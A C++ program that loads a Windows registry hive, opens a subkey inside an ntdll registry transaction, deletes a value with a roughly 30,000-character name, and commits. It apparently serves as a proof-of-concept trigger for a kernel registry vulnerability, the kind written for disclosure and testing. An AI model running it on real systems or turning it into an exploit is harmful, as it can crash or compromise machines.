#include <Windows.h>
#include <winternl.h>

#include <cstdio>

#pragma comment(lib, "ntdll")

extern "C" {

NTSTATUS
NTAPI
NtCreateRegistryTransaction(
  PHANDLE,
  DWORD,
  POBJECT_ATTRIBUTES,
  DWORD
);

NTSTATUS
NTAPI
NtCommitRegistryTransaction(
  HANDLE,
  DWORD
);

}  // extern "C"

int main(int argc, char** argv) {
  if (argc != 2) {
    printf("Usage: %s <hive file>\n", argv[0]);
    return 1;
  }

  //
  // Load the input registry hive.
  //

  HKEY hkey;
  LONG st = RegLoadAppKeyA(argv[1], &hkey, KEY_ALL_ACCESS, 0, 0);
  if (st != ERROR_SUCCESS) {
    printf("RegLoadAppKeyA failed with error %d\n", st);
    return 1;
  }

  printf("Hive successfully loaded\n");

  //
  // Create a transaction object.
  //

  HANDLE hTransaction;
  NTSTATUS Status = NtCreateRegistryTransaction(&hTransaction,
                                                TRANSACTION_ALL_ACCESS,
                                                NULL,
                                                0);

  if (!NT_SUCCESS(Status)) {
    printf("NtCreateRegistryTransaction failed with error %.8x\n", Status);
    return 1;
  }

  printf("Transaction successfully created\n");

  //
  // Open an existing subkey in the app hive in a transacted manner.
  //

  HKEY hsubkey;
  st = RegOpenKeyTransactedW(hkey,
                             L"SubKey",
                             0,
                             KEY_ALL_ACCESS,
                             &hsubkey,
                             hTransaction,
                             NULL);

  if (st != ERROR_SUCCESS) {
    printf("RegOpenKeyTransactedW failed with error %d\n", st);
    return 1;
  }

  printf("Subkey successfully opened\n");

  //
  // Initialize the long value name.
  // 

  CONST SIZE_T kValueNameLength = 0xF000 / 2;
  static WCHAR wchValueName[kValueNameLength + 1];
  DWORD dwValue = 0;

  for (SIZE_T i = 0; i < kValueNameLength; i++) {
    wchValueName[i] = L'A';
  }
  wchValueName[kValueNameLength] = L'\0';

  //
  // Delete the value.
  //
    
  st = RegDeleteValueW(hsubkey, wchValueName);
  if (st != ERROR_SUCCESS) {
    printf("RegDeleteValueW failed with error %d\n", st);
    return 1;
  }

  printf("Value successfully deleted\n");

  //
  // Commit the transaction.
  //

  Status = NtCommitRegistryTransaction(hTransaction, 0);
  if (!NT_SUCCESS(Status)) {
    printf("NtCommitRegistryTransaction failed with error %.8x\n", Status);
    return 1;
  }

  printf("Transaction successfully committed\n");

  RegCloseKey(hsubkey);
  RegCloseKey(hkey);

  return 0;
}